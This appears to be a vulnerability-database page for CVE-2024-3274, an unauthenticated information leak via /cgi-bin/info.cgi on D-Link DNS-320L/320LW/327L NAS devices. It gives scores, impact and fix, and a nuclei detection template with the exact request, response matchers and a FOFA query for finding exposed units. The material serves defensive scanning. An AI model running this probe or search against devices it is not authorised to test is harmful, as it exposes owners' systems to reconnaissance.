HexBrain

Browse / CVEs / CVE-2024-3274

CVE-2024-3274· dlink / dns-320l· CWE-200

D-LINK DNS-320L,DNS-320LW and DNS-327L - Information Disclosure

mediumseverity
5.3CVSS score
33.5%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

A vulnerability has been found in D-Link DNS-320L, DNS-320LW and DNS-327L up to 20240403 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file /cgi-bin/info.cgi of the component HTTP GET Request Handler.

Impact

Unauthenticated attackers can access sensitive system information from D-Link NAS devices.

Fix

Update D-Link NAS firmware to a version that patches the information disclosure vulnerability.

How to confirm it

Send: GET /cgi-bin/info.cgi
Positive when: contains_all(body, "Model=", "Build=", "Macaddr=") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-3274 -u <target>

The full check
id: CVE-2024-3274

info:
  name: D-LINK DNS-320L,DNS-320LW and DNS-327L - Information Disclosure
  author: DhiyaneshDk
  severity: medium
  description: |
    A vulnerability has been found in D-Link DNS-320L, DNS-320LW and DNS-327L up to 20240403 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file /cgi-bin/info.cgi of the component HTTP GET Request Handler.
  impact: |
    Unauthenticated attackers can access sensitive system information from D-Link NAS devices.
  remediation: |
    Update D-Link NAS firmware to a version that patches the information disclosure vulnerability.
  reference:
    - https://github.com/netsecfish/info_cgi
    - https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10383
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3274
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-3274
    cwe-id: CWE-200
    epss-score: 0.33484
    epss-percentile: 0.98393
    cpe: cpe:2.3:h:dlink:dns-320l:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="Text:In order to access the ShareCenter"
    product: dns-320l
    vendor: dlink
  tags: cve,cve2024,dlink,exposure,vuln

http:
  - raw:
      - |
        GET /cgi-bin/info.cgi HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Model=", "Build=", "Macaddr=")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from